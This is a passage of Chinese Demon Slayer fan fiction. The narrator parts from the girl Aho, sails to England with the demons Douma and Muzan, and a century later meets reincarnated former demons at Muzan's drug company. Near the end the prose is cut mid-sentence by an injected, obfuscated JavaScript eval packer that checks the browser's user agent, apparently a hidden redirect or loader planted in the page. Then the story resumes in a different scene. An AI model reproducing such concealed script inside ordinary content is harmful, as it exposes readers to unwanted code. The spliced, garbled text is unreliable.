“我会托明子夫人关照你,也会给你留下足够的钱,供你以后读书用,如果可能的话,我希望你去念大学。”我伸手摸了摸女孩柔软的黑发,“你值得更美好的人生,阿萤。” 她眼中闪过一丝惊惶:“荒川小姐,你,你是也要…走了吗?你要去哪里啊?” “我是教主大人的女侍,当然是要追随他了。怎么了?不舍得我?” “我不要!”女孩突然紧紧抱住了我,“我不要你去死!不要死啊!荒川小姐那么厉害,怎么可以死掉?!我不要!” 啊,我已经很多很多年,不曾被人类拥抱过了。 真是温暖啊… “傻姑娘,我不是要去死。”我拍了拍她的后背,“其实我…不是人类哦。” “哎?”她睁大了眼睛,“开玩笑的吧?荒川小姐明明就是人类啊!” 我伸出手臂,在手腕上用指甲划出一道伤口,伤口涌出了鲜血,又在少女震惊的目光中迅速愈合。 “我呢,是类似于‘式神’的存在。”我笑道,“你听说过吧?神明身边都会有的哦,是专门侍奉神明的一种灵。” “我我…我在书里看过,原来是真的存在的吗?”阿萤结结巴巴地说,“难怪荒川小姐好像从来不会累,剑道也那么厉害…” “对,我正是教主大人的‘式神’,所以无论他去哪里,我都要追随他。不过这是我们之间的小秘密,除了山田先生,其他人如果问起,请阿萤不要告诉他们哦。” “还有,荒川神社是真的属于我,所以如果你没事时能帮我照料下那里的花,那就太好啦。” 女孩看着我,忽然格外坚决地点了点头:“请荒川小姐放心,我会用性命来守护那里的。不光如此,我…我也不会丢下极乐教的大家不管的。” “这里是我的家,如果没有教主大人,没有山田先生和大家的关心,我是没法活到今天的,而且我也想…也想像荒川小姐那样帮助有需要的人。” “那样的话就更好啦。但你一定记住,要量力而行,在帮助别人的时候,也不要忘了自己的幸福。”我认真地说,“山田先生有一天也会老,而你可以用自己学到的知识、用你在外面所看到、所经历的一切,将万世极乐教变成你所期望的样子,让更多的人得到帮助,那样才是对神明最大的奉献。” “不论遇到怎样的艰难困苦,我都希望你努力的生活下去,度过幸福的一生。也许有一天,我们还会见面也说不定呢。” 我握住她的手,擦去了她脸上的眼泪。 两个月后,横滨港。 我站在头等舱的私人甲板上,望着岸边黑压压的人群。 穿着和服的、穿着洋服的人们彼此拥抱,挥手,哭泣和欢笑交织在一起,正如人生中一次次的相聚和离别。 海风差点吹飞了我的礼帽,旁边伸过一只手及时地抓住了帽檐,我转头一看,童磨笑嘻嘻的递给我一只水晶玻璃杯。 “小染,这个酒很不错哦~” 我尝了一口杯中金色的酒,差点被呛哭:“你怎么喝起威士忌来了?!” “我看那些洋人都在要这个,所以也想试试看嘛~”鬼眨了眨眼睛,“诶,那是产屋敷家那孩子吗?” 我顺着他的目光看去,果然看到了产屋敷辉利哉那张熟悉的脸,他已经长成了少年的模样,带着一个白色头发的少女,在跟另一个一模一样的少女说话。 “那是…”我不禁失笑,“无惨大人这拟态越发出神入化了,连气息都变得很像少女啊!” 那名叫做“彼方”的少女身边还站着个穿洋服的年轻男人。和兄长姐妹“依依不舍”地告别后,他们在仆从的护送下上了船,过了片刻,二人就出现在头等舱的甲板上。 “俊彦君,这位是我的朋友荒川小姐,也是在学校时认识的。”“彼方”小姐身着精致的碎花和服,笑容婉约,“荒川小姐,这位是我的未婚夫俊彦,是三井财团的继承人,这次是受我兄长的委托,陪我一起去留洋读书的。” 嚯,连财阀都能勾搭到手,很能干嘛,无惨大人! 叫俊彦的年轻人朝我们矜持地点点头,随即很是关切地转向了“彼方”:“亲爱的,我们先回房休息一下,再出来和你的朋友叙旧吧,你脸色看着有点苍白,路上又需要那么久,如果在船上病倒就麻烦了。” “彼方”脸上的笑容瞬间消失,她扭头看了他一眼:“我看起来脸色苍白吗?像是生病了吗?” “是,是啊,这么看的话的确…” “啊,那真是太遗憾了。”“彼方”轻柔的一笑,“我要失陪一下了,抱歉。” 她挽着那年轻人回了房间。 汽笛鸣响,庞大的远洋轮船终于缓缓驶离了港口,驶入十二月的日本海,冰冷的海风迎面而来,灰蓝色的海面上掠过成群的海鸥,它们狭长而有力的翅膀像太刀一样劈开波浪,乘风而起。 我端着杯热红酒倚靠在船舷上,看向另一侧那个有些彷徨的少年,想都不用想,他也是第一次坐轮船,第一次出门远行。 “你和阿萤怎么说的?” 听到我的话,狯岳有点没底气地看我一眼。 “还能怎么说?就说我要参军去了,叫她不用等我。” “我说她那天怎么哭的那么伤心。”我叹了口气,“不过我理解你的选择。” “我哪来的选择?”少年的神色冷酷而决绝,“既然已经选了这条路,就不会后悔。阿萤只是个普通女孩子,以后会嫁人,生很多孩子,过普通人的一生。我永远给不了她那些东西。” “体会到鬼的孤独了吗?小狯岳。”我微笑道,“鬼和人类的恋情,几乎注定是悲剧收场,除非你把对方也变成鬼,但那样的话,就是将对方拉进同样的孤独里,如果有一天连爱情也消失了,美好的故事就会变得不幸起来。” “所以我有点羡慕你和童磨大人。”狯岳低声说,“这么多鬼里,大概也只有童磨大人有这样的好运气,能得到神明眷顾。” “那是因为人家本来也是神明之子嘛。”童磨不知何时笑嘻嘻地凑了过来,“小狯岳,无惨大人要见你,快点过去吧。” “是!“狯岳紧张地拽了拽身上新买的洋服,快步离开了。 “真看不出,这小子穿洋服还挺精神。” “小染穿洋装也很漂亮哦~不过人家更喜欢小染什么也不穿…唔!” 我眼疾手快地从旁边酒桌上抓起半块硬奶酪,把他的后半句话堵回了嘴里,然后幸灾乐祸地看着那只鬼的表情变得诡异起来。 “小染…这个…味道好奇怪哦…” “下次要是再在公共场合说这种奇怪的话,就请童磨大人吃这个。”我恶狠狠地吓唬他,“怎么样,比紫藤花可怕多了吧!” 鬼眼泪汪汪的把奶酪咽了下去,抢过我手里的红酒杯猛灌一气。 “小染好过分,人家要回家!” “呵呵呵,回家啊?晚啦!“我露出邪恶的笑容,“现在是在海上,你游回去吧。” 不对,怎么说的好像我是个绑架了良家少女的人渣? “没办法啦,那这个人家也一起扔到海里了哦?” 童磨装模作样地叹了口气,从身后拿出一只相当精美的、镶嵌着螺钿的漆盒。 “这不是…那个什么高桥君那次从你房里偷的东西吗?怎么也给带出来了?” 我接过那只不大不小的盒子,意外的发现重量惊人,两只手居然差点没拿稳。 “这漆是江户那时的工艺吧…到底是什么啊?怎么这么沉?” 童磨拿出一把样式极其古朴的小钥匙,在我眼前晃了晃。 “是给小染的礼物哦,要不要打开看看?” “什么呀,不会是首饰吧,我可不戴那种…” 我边笑边掀开盒盖,只觉得眼前一花,吓得我“啪”的合上了盖子。 “…不是真的吧?”我战战兢兢地看向童磨。 “当然是真的啦。”鬼难得认真地点了点头。 我向四周看了看,确定没旁人在,才缓缓地再次打开了那只盒子。 “这是…大判金?还是10两的?你在哪里弄到的?我记得这个是勘定奉行所发的御金,只有上层旗本之间才能当作礼物互赠啊。” “是人家攒的私房钱哦。”童磨无辜地说。 “…别胡扯了,你以为我信?” “开玩笑嘛~”鬼从盒子里拿起一块金饼,很随意地抛向空中,“是有次帮一位大旗本出主意解决了困扰他很久的人,事后他送上门的供奉而已啦。” “什么供奉!这么满满一盒子,明明是给你的封口费吧?” “谁知道呢,人家那么忙,哪有空关心人类怎么想,看盒子还挺漂亮,就暂时收下了。”童磨笑眯眯地说,“现在是小染的啦,随便你怎么处理都可以哦~” “童磨大人…”这 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“这也不能怪我啊,大人。”我摊手,“在地狱里都是有什么吃什么,我们就差吃草了,对吧童磨大人?” “对呀对呀,别提多可怜了~” 无惨大人抽搐的眉尖显示他又要爆发了,不过鬼之始祖不愧是鬼之始祖,忍耐力一流,他用食指敲了敲桌沿,冷冷地说: “快点吃,吃完了到甲板来。” 产屋敷家背后有财阀的势力支持,这个消息让我吃惊,但并不意外。 用脑子想想就知道,一个一千年来每代家主都活不过三十岁的家族,就算有所谓的预知力,如果其势力没有渗透到整个国家的经济命脉中,也不可能积聚起如此巨量的财富,能给哪怕最低级别的队员提供高于市面三倍到五倍的月薪,还能支付得起鬼杀队包括柱在内所有的人力、研发和武器费用。 而这个家族与财阀结合的方式,就是联姻。 产屋敷家的男孩虽然短命,女孩却能在改姓出嫁后获得正常人的寿命,且神官家族的预知力在女性身上也常有体现,财阀所看中的正是这种天命赋予的直觉。 产屋敷辉利哉的预知力已经被我截断,剩下的那个叫杭奈的女孩似乎也没有表现出明显的能力,三井家族就将希望寄托在了这个被无惨大人顶替了身份的产屋敷彼方身上。 “预知么…这个倒不是什么难事。”我想了想,说道,“但神明不能干涉太多人世的事,否则容易沾染因果,事关命运的大事上我可以帮忙,但如果是商业这种事的话…” “没关系,白姬小姐,我需要你为我提供的,就是与天命相关的指引,商业这种具体的事,我早有人选。” 无惨大人和我一起看向了某只在一旁用威士忌兑稀血喝的不亦乐乎的鬼。 “诶?你们看我干嘛?人家好不容易出来玩,终于不用再跟信徒打交道了,才不要工作呢~” 童磨大人像被抽了骨头似的歪在甲板的天鹅绒沙发上,手里晃着一杯猩红的威士忌,懒洋洋地拖长了声音说。 “童磨,我说话在你这里已经没用了是吗?”无惨大人沉下了脸。 “童磨大人,你不工作,是打算让我一个女人养家,是吗?”我也微笑道,“英国不是日本,男女之间可是很开放的,万一我工作中结识了什么有钱的贵族,跟人家结婚也说不定哦?” “小染~”鬼立刻哭了起来,“你不可以这样欺负人家~无惨大人,你看看她嘛~” 无惨大人理都没理他,继续对我说道: “我会将所有情报分析的工作交给童磨来做,自己继续从事药品方面的生意,白姬小姐的话,到英国后有什么打算吗?” “还没想好,但我在爱丁堡有位老熟人,是英国人,以前在日本做骨董方面的生意,听说他在英国和日本都认识不少社会名流。”我倒了杯红酒,啜了一小口,“我同意大人您的看法,不论是为了确保自己的生存空间,还是为了日后鬼之一族的发展,都必须融入人类的社会,不光融入,还要掌握足够的权力,通过财阀的渠道来进入上层,是最为便捷的方式了。” “那就这么决定了。愿我们合作愉快,白姬小姐。”鬼王优雅地向我举起了酒杯。 “愿我们合作愉快。”我轻轻与他碰了下杯子。 “诶?那人家也要一起!” 童磨不知何时闪身过来,一只手搭在我的肩膀上,一只手拿着那杯威士忌,兴高采烈地撞了一下无惨大人的酒杯。 啪! 薄薄的红酒杯禁不住鬼的力气,碎了一桌子,无惨大人的白西装瞬间挂彩。 “童磨——!!!” “哇啊~大人,不要扔东西嘛!衣服这样明明更漂亮了呀!” 远洋轮船上的第一次策略性会谈就在鬼之始祖对上弦之贰的追杀中仓促结束了。 无惨大人气急败坏地回去换衣服,我坐在船舷边的沙发上,望着月下的日本海。 两百年,这一路的艰难跋涉,有太多的喜怒哀乐,有太多的得到和失去。 但我们终究在命运的洪流中,紧紧拉住了彼此的手。 从此,荒川神社的小巫女和极乐教的小神子,都再也不会孤单寂寞,再也不会一个人面对数不清的黑夜与白昼。 我们可能永远也无法融入人类,但我们将融入这个浩瀚的世界。 我将拉着你的手,一路向前,永不停步。 “诶呀呀,小染在写什么呀?人家也要看~” 童磨换了浴衣,头发湿漉漉地凑了过来。 这么大一只鬼,洗完澡依然不知道擦干头发… 我叹了口气,只好顺手拿了条毛巾,擦他那一头乱糟糟的白橡色长发。 “是日记哦。我以前在地狱时说过吧,等从那里出来了,给你写本书。” “我的那点事多无聊呀,有什么好写的?” “不无聊啊,神明之子的故事,怎么能说无聊呢?”我微笑着说,“这是我所知道的,最棒的一个故事了。“ “小染喜欢的话,就慢慢写吧。”鬼枕在我的膝盖上,笑眯眯地说,“现在给人家唱首歌好不好?最喜欢听小染唱歌啦~” “好啊,童磨大人。” 我想了想,唱起了大正七年时那首在民间流行一时的歌谣: 忘记了如何唱歌的金丝雀啊,要把它丢弃在后山林中吗。 不行,不行,那样不行。 忘记了如何唱歌的金丝雀啊,把它埋在后门旁的灌木丛中吧。 不行,不行,那样不行。 忘记了如何唱歌的金丝雀啊,用柳枝抽打它吧。 不行,不行,那样太可怜了。 忘记了唱歌的金丝雀啊,停在象牙船的银桨上, 漂浮在月夜的大海上,想起了忘记的曲子。 106. 现代番外篇:上弦集结 时间之河滚滚向前,百年的时间也就这么过去了。 一百年中发生了很多事,人类的世界发生了过去数百年都未曾发生的、天翻地覆的变化,但这种变化再次带来了矛盾和战争,这一次,日本和英国这两个岛国都未能幸免。 人类对彼此的怨恨终于酿成了大祸,多年之前我就已经看到了那样的结果,但神明对此表示无奈,且无能为力。 靠着神明的直觉,我带着某只鬼躲到了苏格兰最北边一处偏远的小镇上,度过了战争爆发的那些年,此举的副作用是让他认识了一群他在欧洲的同类,顺便学了一堆法语北欧语和苏格兰本地方言,导致他的英文口音总是奇奇怪怪的。 战争结束后我们走遍了整个欧洲,看到了一个完全不同的世界,以及人类所建立的文明如何被他们自己破坏,又如何从废墟中复苏。最终在选择定居地的时候,我俩在英国和法国之间举棋不定,于是就变成了一年中三分之一时间在爱丁堡,三分之一时间在布列塔尼,剩下的三分之一满世界乱跑的日常。 无惨大人不愧是躲了一千年的老鬼,比我们还会躲,战事最吃紧的那几年完全不知道他鬼在哪里,却能隔三差五派狯岳送来个巨大的邮包,里面塞满了各种文件和报纸,每当这时童磨大人就只能哭着回家开工干活,导致他的血族朋友们很是不满,都撺掇他去工会告这个压榨鬼的不良老板。 我报以冷笑。这也叫压榨?你们是没见过当年的老板。 20xx年,英国,爱丁堡郊外某庄园。 我迷迷糊糊地醒来,卧室里一片昏暗,外面的立式古董钟却传出了上午十一点的报时声。 哦,神啊,又是不堪回首的一夜。 我伸手推了推某只压在我身上的鬼,没推动。 “…别装睡了,都十一点了。” 没反应。 我又推了推他:“你昨天到底喝了多少…还没睡醒?” 依然没反应。 “童磨大人…飞机的预定起飞时间是两个小时后,就算是私人飞机没关系,也不能让浅山他们等太久吧?” 我用力把他推到一边,爬起来拉开了厚重的窗帘。 “哇!快看,昨天那只鹿又来了!” 我回头叫他,鬼才翻了个身,很不情愿地睁开了眼睛。 “就让他们等等嘛,急什么呀…”他懒洋洋地说,“人家好不容易才度个假,回去又要忙了…” “据我所知你一年四季都在度假。快把衣服穿上啦!真是的,到底什么时候养成了裸睡的毛病啊!” 我看着扔了一地的衣服,叹了口气,只好跑到衣帽间拿了套新的给他。 就不该让他整天往法国跑,好的没学会,专学些奇怪的事! 我换好衣服走到餐厅中,巨大的落地窗前,已经有一名穿白色教服、戴黑框眼镜的女子安静地站在那里了。 “瞳,你什么时候到的?”我坐在长餐桌的一侧,“一起吃早饭吧,我让人准备了日式的哦。” 女子向我鞠躬道:“荒川小姐,我昨天就已经到了,听说教主大人要回去,东京总部已经在准备觐见会了,外务省那边也派人来过了。” “为什么还有觐见会啊,不是都说了这次是不公开的行程吗?”我皱眉,“把人数限制在十人以内,不要闹太大了。” “明白您的意思,本身也是小范围的活动,是内阁那边的几位有紧急事项,听说‘神明’要回去,无论如何都想拜见一下,我会严格控制的,请放心。” “辛苦了,让你这个总司祭亲自跑一趟。” “这是我作为司祭的份内之事,荒川小姐不必客气。” 浅山瞳,阿萤的曾孙女,是位严肃认真的姑娘,这一点有些像当年的山田先生。 后来阿萤确实嫁给了山田先生的亲戚。但令我没想到的是,那孩子从中学毕业后居然考进了神学院,之后她花了一生的时间,对极乐教进行了一番“现代化”的改造,将它变成了一个合法注册的宗教组织。因为她的贡献,山田家继承教职的女孩,都以“浅山”作为姓氏。 现在的万世极乐教,分为上层的“万世会”和下层的“极乐教”两个部分。开放在公众视野中的“极乐教”,是以“过平和安稳的生活,建立现世和心中的极乐净土”作为核心信条的新型宗教,以东京作为总部,下设的三个教区基本覆盖了日本的主要城市,信徒约数万人,由各教区的司祭实施管理和定期布道,此外教团还在各地资助建立了大量学校、孤儿院和医院,成为了享誉日本的慈善组织。以自己和后代的努力,阿萤终于实现了当年她对我说的“想要帮助更多人”的愿望。 而“万世会”则是不公开的幕后组织,成员皆是财阀或政府高层,他们由身为总司祭的瞳亲自负责联络,每当“神明”回归御岳山的极乐寺“圣地”时,这些人总是趋之若鹜地前来拜见,当然,这也是当初我们和无惨大人所商定的计划的一部分。 这事最大的好处是,童磨终于不用再面对一群哭哭啼啼的人类了,高层的棋局更加复杂和刺激,但以他那活了快三百年的脑子完全可以当作日常娱乐。这家伙现在的时间更多用来在欧洲各地闲逛,顺便和他的血族朋友们交流美食心得。 我正在切盘子里的煎蛋卷,就看教主大人带着一脸无忧无虑的微笑走进了餐厅。 “小瞳,早呀~” “教主大人早。”浅山瞳微笑道,“您看起来还是那么有精神。” “这叫什么话,人家一直很精神嘛~” 童磨从酒柜的一排水晶瓶子里选了一只,在镶银的高脚杯中倒了满满一杯鲜血,回到餐桌前开始吃他的早餐。 “你哥哥那边怎么样啦?” “谢谢您的关照,用了‘药’之后已经能正常走路了。” “是吗?那就太好了。”童磨喝了一口杯子里的血,“啊,今天这位小姐的味道也很不错哦,小染要不要尝尝?” “要我尝的话,你就先把煎蛋卷吃了再喝那东西。” “不要嘛~人类的食物浅尝辄止就好,人家还是更喜欢新鲜的女孩子的血呀~” 和他在吃饭的问题上斗智斗勇了一百年,我依然在努力纠正他挑食的毛病,但已经基本放弃了。 “又是凯瑟琳小姐给你弄来的吧?跟人家签协议了没?当心供血者工会那边找你的麻烦。” “放心啦,是通过教会找来的女孩子,背景很干净哦~” 我不禁摇了摇头,欧洲的血族在这方面玩的远比当年的无惨大人要老练多了,地下社团无数,早就形成自愿供血者甚至自愿捐赠者的稳定群体了。 说白了就是在这块土地上,只要花钱,什么都能弄到。教廷因为也能从中分一杯羹,所以通常睁一只眼闭一只眼。 “除了觐见会,就没有其他活动了吧?”我说,“我要回一趟东京的公司,月底有两件克里特的陶器要在苏富比上拍,还要做相关的准备。” “不会吧,小染又要去希腊了嘛?”鬼不高兴地抗议道,“人家可不想去,那边好热呀~” “又没让你去,是我自己的工作。” “可说好了要去伊豆泡温泉的,小染忙起来就不理人家了,好伤心~” “…你好好说话,浅山小姐还在这里呢。” “小瞳最听话了,才不会介意呢,对吧对吧?” 教主大人眨了下眼睛,浅山小姐马上心领神会地说:“我去看下去机场的车准备的怎么样了,先行告退一下,请教主大人和荒川小姐慢慢享用早餐吧。” “你还是同意给瞳的哥哥用了‘药’吗?”我叹息道,“还在实验阶段的东西,这也太危险了。” “已经不算实验阶段啦,毕竟那些财团和政界的人可是抢着要呀。”童磨微笑道,“无惨大人这次叫咱们回去,大概也是为了商量这件事吧。” “无惨大人的野心也变大了啊…话说他什么时候正式竞选议员?” “已经开始准备了吧,那天还让我帮他拉票来着,从万世会那边的反应来看,这次问题不大哦~”童磨喝干了杯子里的最后一滴血,“啊啊~又要回到东京啦,好开心~” 大约五十年前,鬼之始祖以产屋敷彼方和三井俊彦之子的身份,进入了三井财团内部,随后步步为营,数次偷天换日,终于架空了产屋敷家族,成立了自己的医药公司“无限制药”,现在已经是市值百亿美元的上市公司,主要研发各种治疗绝症的药物。当干细胞疗法在日本的富人圈中开始流行时,他终于迈出了关键性的一步,这就是“药”的出现。 无限制药的内部实验人员,发现将鬼血细胞和青色彼岸花的成分融合后注入人体,能让细胞迅速再生,修复人体损坏的机能,又不会让人发生鬼化的现象,几乎是一种完美的抗绝症药物。唯一的副作用是使用者需要终生用药,一旦停用,身体就会迅速衰退回服药前的状态。 这种“药”能让绝症患者获得和正常人一样的生命周期,也能将普通人的寿命和精力延长十五到二十年,于是那些活到了一把年纪依然不想放开手中权力的政商精英们认为自己找到了通往幸福的钥匙,无限制药也因此成为了日本的药业新贵,身为总裁的“产屋敷月彦”,自然获得了进入政界的入场券。 我还沉浸在回忆中时,飞机已经落地在东京近郊的私人机场。 教主大人披上了黑色的法衣,跟着他刚一出廊桥,我就看见修建成寺庙样式的接机大厅里站了八名白衣信徒,还有那架停放在走廊中央、四面装饰着鎏金莲纹的乌木神辇。 不是吧?!他又不是不能自己走路,要不要这么夸张啊?! 教主大人心安理得毫无愧色的登上了神辇,被信徒们一路抬了出去,我感觉自己好像来到了衹园祭的现场,尤其在发现抬神辇的其中几位好像是报纸上的老面孔后,我不禁感叹信仰的力量果然能让人延年益寿,六七十岁的人体力还都这么好。 当然这也可能是“药”的作用,谁知道呢? 极乐寺几乎没有变样,在精心的维护下,百年的时间并未对这座古朴的寺院产生丝毫影响,池塘中的睡莲开的依然曼妙多姿。在供奉“本尊”的正殿一角,我看到了阿萤小小的牌位。 “这是曾祖母临终时唯一的愿望。”瞳站在我身后,轻声说道,“她说她只想留在极乐寺,这样如果以后教主大人和荒川小姐再回来,就能见到她了。” 阿萤享寿八十五年,在人类里也算高寿了。但在我的记忆里,她还是那个脸色红润、穿着二尺振袖的十五岁少女。 她过世的时候,我本来想赶回东京,但童磨阻止了我,他说小染,你必须学着习惯这种事,人类的死亡是再正常不过的现象,对于神明来说,就像樱花会飘落一样自然,极乐教的每一代信徒都是如此,你见了小芥子,反而会让她执着于你们之间的牵绊,影响她转世重生。 “她还说什么了?” “曾祖母留下了这个,说是等荒川小姐再回来时,要我们亲手交给您。” 瞳双手捧出了一只小小的漆盒,我首先看到了一张发黄的纸条,打开一看,竟是一封简短的信。 荒川小姐: 很抱歉,不能和您见面了。 一直想告诉您,教主大人和您走后,我经历了很多事,这个国家也经历了很多事,但因为荒川小姐当年对我说过“要永远怀着希望”这样的话,我努力地坚持了下来。这一生,我成为了自己想成为的人,已经没有任何遗憾了。 荒川小姐,我做到了吗?今天的万世极乐教,还让教主大人和您满意吗? 教主大人收留我时的样子,对我微笑的样子;第一次见到您时的样子,您教我用木刀时的样子,至今还历历在目,怎么也没法忘掉呢。 我竟然见过真正的神明,这多像一个童话呀。如果有来世,我还想回到极乐教,到时候一定还能再见到教主大人和荒川小姐吧。 盒子里的那样东西,属于我的初恋,因为是偷偷藏起来的,一直很珍惜,所以怎么也不忍心就这么跟我一起火化。就请荒川小姐替我保留吧。 浅山萤拜别 盒子里的东西,是一枚青色的勾玉。 我默默折好了信放回盒子里,在阿萤的灵前点燃了一支线香。 童磨要应付那群来觐见的人,我便先回了公司的东京分部——设在银座的骨董拍卖行“莲”,先跟负责人确定了月底前要发往伦敦参加秋拍预展的几件江户时期的漆器,又连线希腊的卖家看货,折腾了一通已经快天黑了,于是我先行前往了约定好的会议地点——位于东京郊外的“无限制药”总部。 “无限制药”的大楼从外面看去是一栋七层的、相当低调的建筑,但进去后严密的安保和复杂的内部结构简直让人想起当年的无限城。如果不是狯岳出来接我,估计我会在里面直接迷路。 我看着穿的好像个特战队员的狯岳,半天才憋出一句话: “你是不是长高了?” 这孩子还是那副冷冰冰的臭脸,闻言瞥了我一眼。 “神明大人你不知道吗?鬼是能改变外貌的。” “我知道,但你为什么穿成这样?我听说老板把你送到军队里去了?” “是国际雇佣兵。”狯岳纠正我,“我最近帮他们训练新人,直接从训练场赶过来的,没来得及换衣服。” “黑水的那个项目?” “这你都知道?真不愧是神明大人。” “老板真是神通广大啊,”我感叹,“小狯岳,每天揍人的感觉一定很不错吧?” “没意思,都是些废物,还不如当年的诺曼底好玩。” “和平年代哪来的那种刺激,你老实一点吧,别像上次那样被学员投诉到老板那里,还不是被他骂了一顿?” “切,每次见面你都这么啰嗦,烦死了。” 电梯到了七层,门开后竟然是一片露天的日式庭院,设计的相当精致,池塘里养着色彩如宝石般绚丽的锦鲤,一座古朴的和室立在庭院中央,里面灯火通明。 “老板还没来?” “没有呢,还在实验室。你是第一个。”狯岳忽然露出一丝讳莫如深的表情,“你多少年没回来了?” “有三十多年了吧,东京变化还真大。怎么了?” “那你肯定不知道。总之今天有个特殊的人,你见到了可别吓一跳。” “谁啊?” “说出来就没意思了。”狯岳缩回电梯,“我去大人那里,要喝什么你自己去酒柜里拿。” 这小子倒是好像活泼了点,看来时间果然会让人成长。 我站在露台边上吹了一会夜风,刚一回头,发现鱼池边多了个人,顿时吓了一跳。 是个梳了一头相当…亮眼的蓝紫渐变色辫子的年轻人,蹲在鱼池边上,抱着个速写本在涂涂抹抹,边画还边发出诡异的自言自语。 “嘻嘻嘻…这边再加上一点水草花纹…还是鱼鳞纹?不过这样也好…再接下来…” “你在画什么?是陶罐吗?”我凑过去看了看,觉得上面的花纹好像哪里有点眼熟,“画的不错,还挺漂亮的。” “啊,多谢夸奖,但这是壶,小姐,这是艺术。”年轻人脸色苍白,长相很普通,但眼中闪着极其热切的光,“看来你也是个难得拥有审美能力的人,能占用你一点时间吗?我想让你欣赏下我的作品!” “诶?好,好啊。” “请看,这座庭院有两个池塘,以中间的屋子为轴线,形成了完美的几何对称,那边种植了矮紫杉、冬青和山茶,那棵松树是我从山里移栽过来的,居然能够成活,不得不说我的园艺技术无人能比。”年轻人兴奋的指给我看,“这边则搭配了一株梅花,以及枫树和木槿花,这样在每个季节都会有不同的主色调。你再看这些鲤鱼,” 我顺着他手指的方向看向池子里五光十色的锦鲤。 “这尾鸣海浅黄秋翠是很难得才能培育出的品种,头部是清澈的浅蓝色,身体是银蓝相间,搭配以橘色的鳍,像游动的月光对不对!为了培育出如此出色的鱼,我可是非常奢侈的使用了十几尾获奖的锦鲤,你再看看这尾山吹黄金,流线型的体魄多么完美…” 年轻人兴致勃勃的讲了半天,最后很期待的看着我:“如何?我的艺术理念是不是令你感到震撼?” “这整个花园都是你设计的?太厉害了!”我由衷的说,“所以你是无…你是产屋敷总裁请来的园艺设计师吗?” “嘻嘻嘻…怎么说呢,其实园艺和绘画只是我的业余爱好而已。很遗憾,这世上很少有人能理解我的艺术理念…” “我能再看看你的画吗?” “当然!” 我一页页翻着那个本子,每一页上画的都是不同花纹的壶,还用彩铅笔把颜色都描绘了出来,让我怎么看都觉得有些熟悉。 直到翻到其中一张时,我忽然想了起来。 “是那个,那个壶…?” 我索性翻出手机里的照片给他看。 “这壶和你画的是不是很像?” 年轻人睁大眼睛端详着我手机里的图片,有点困惑的挠了挠头。 “太令人惊讶了,这的确是我画过的壶之一,但我只是把梦到的壶画下来而已,还没有真正实践过制作的步骤。敢问这是哪位名家的作品吗?” “的确算是名家之作,这件东西我在拍卖会上拍出了一千万日元哦。” “什么,你是说,有人欣赏这些壶吗?”年轻人明显兴奋起来,“我就说这些果然是上天赋予我的灵感!” “你要不要试试把你画中的壶做出来?”我认真的说,“虽然不比我之前拍卖的那件历史悠久,但我想应该能上苏富比今年的现代陶器预展,这样能比你做园艺挣得多…” “啊,这个提议真是太棒了!但其实我是…” “益鱼仪,你还在这里磨蹭什么呢?大人马上就过来了,会议室的电脑还没调试好吗?” 我回头一看,狯岳带着个最多也就十五六岁的黑发少年走了过来。 那少年神色漠然,竟然穿了一身实验室的白大褂,两手插在兜里,耳朵上还挂着蓝牙耳机。 嗯…这地方哪来的小孩?难道是无惨大人的私生子?看着也不像啊? 见我一副不明所以的样子,狯岳不太高兴的扯了扯那小孩:“这位是荒川小姐,绫木,快打招呼。” “哦,没听说过。”小孩面无表情的说,“没什么事的话我去准备发言了。” 狯岳的脸一下黑了:“绫木累,你别仗着大人的偏爱摆出这副狂妄的样子,老子当年…” “好了好了,怎么上来就吵架啊?”我感觉今天来的人都有点奇怪,赶紧转移话题,“这孩子是哪来的呀?” “听说以前才是个下弦,但大人就是偏心他,有什么办法?”狯岳咬牙切齿地看着那小孩的背影,“不就是什么麻省理工的天才少年吗?不过是个人类的小鬼而已,有什么可得意的?” “那孩子是麻省的?”我惊讶道,“看着还是初中生啊!” “什么初中生,已经是博士了,专攻细胞免疫学,要不是这个原因,大人也不至于专门跑到美国把他请过来。”狯岳也学会了翻白眼,“性格恶劣的臭小鬼,我简直受够他了!” 我同情地拍了拍他的肩膀,“小狯岳,原来你也有被‘性格恶劣的臭小鬼’气到崩溃的时候,现在体会到我当年的心情了吗?” “哈?我比他强多了好吗?!”狯岳不服气的嚷嚷,“真想让大人赶紧把那个臭小鬼变成鬼,我就能好好教训他一顿了!现在这样连打都不敢打,生怕碰一下他就死了!” “所以那个益鱼仪又是干什么的?”我觉得有点晕头转向,“童磨有个壶跟他画的很像…” “那是以前的上弦之五,玉壶。” “诶诶诶?真是那个…那个玉壶阁下?” 我脑子里出现了在地狱里见过的那张没人形的怪脸,“但我记得他被鬼杀队的人给砍了啊。” 不对,好像是先被童磨给掏空了脑子… “谁知道大人怎么找回来的。他现在是人类,还是个顶级黑客,据说技术不错。” “黑客?!”我捂住脑袋,“我还以为他是园艺设计师呢…” “大人他们马上就上来了,”狯岳皱着眉看了看表,“童磨大人还没到吗?” “呃…大概是又跟信徒聊起来没完了吧…咱们直接去会议室里等吧。” 我坐在会议室里左看看正一脸专注的摆弄全息投影的玉壶…啊不,是益鱼仪阁下,右看看一边旁若无人听音乐的绫木累,以及边保养一把索林根战术短刀边狠狠瞪着绫木累的狯岳,默默擦了把汗。 我,一个神明,到底为什么要来参加这个人鬼混杂的奇怪会议啊? 救命啊,要尴尬死了… “狯岳,”我小声说,“无惨大人是不是还缺个秘书啊?” 说归说,无惨大人虽然脾气比以前大有改观,但丝毫不减当年的苛刻和毒舌我可是深有体会,谁敢给他当秘书啊… 没想到狯岳点点头说:“你马上就能见到了,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“无惨大人,好久不见啦~人家可是相当想念您呢~诶诶?这位是黑死牟大人吗?怎么变成人类了呀?” 鬼摘了墨镜,睁大了那双虹彩大眼睛,凑过去仔仔细细地打量着无惨大人身边那名沉默不语的男子看。 “童磨,这位是严胜先生,从美国退役回来的特种兵,现在担任我的秘书和保镖。”无惨大人压着脾气说,“你能不能先…” “这孩子又是谁呀?” 童磨扭头看了眼那个站在投影前满脸僵硬的少年,恍然道:“这不是蜘蛛山的那个下弦吗?大人您真是太厉害啦,转世了都能被您找到嘛?咦,那边的那位…” 他身形一闪就来到了益鱼仪面前。 